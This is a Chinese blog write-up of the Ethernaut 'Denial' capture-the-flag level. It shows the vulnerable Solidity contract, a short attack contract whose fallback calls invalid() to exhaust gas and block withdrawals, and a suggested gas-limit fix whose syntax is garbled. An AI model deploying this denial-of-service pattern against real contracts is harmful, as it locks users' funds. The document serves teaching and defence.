Q1ngying

今朝梦醒与君别,遥盼春风寄相思

0%

Denial-wp

Denial-wp

这道题还是一道 DoS 攻击的利用,只不过这里采用的是耗尽 gas 的方法以实现 DoS 攻击。

合约源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

攻击原理:

withdraw函数中 partner 外部调用时,没有严格的限制外部调用逻辑,我们可以构造一个恶意合约,将该合约作为partner,然后在恶意合约的fallback函数中加上恶意逻辑,使得耗尽所有 gas 导致交易失败

攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
contract Hack {
constructor(Denial target) {
target.setWithdrawPartner(address(this));
target.withdraw();
}

fallback() external payable {
assembly {
invalid()
}
}
}

要想实现耗尽 gas 有以下方法:

  • 使用循环写一个死循环

  • 在 Solidity 0.8 版本前可以使用:assert(false)来耗尽 gas

  • Solidity 0.8 版本后,上一种方法被移除,但是可以使用内联汇编达到一样的逻辑:

    1
    2
    3
    assembly {
    invalid()
    }

    我们的 POC 采用的就是这种方法

解决措施

在外部调用的过程中,为其添加 gas 限制,如代码可修改为all.gas(100000).value()这样,即使外部存在恶意逻辑,消耗的 gas 最多也是我们为其添加的限制,不会影响后续逻辑的运行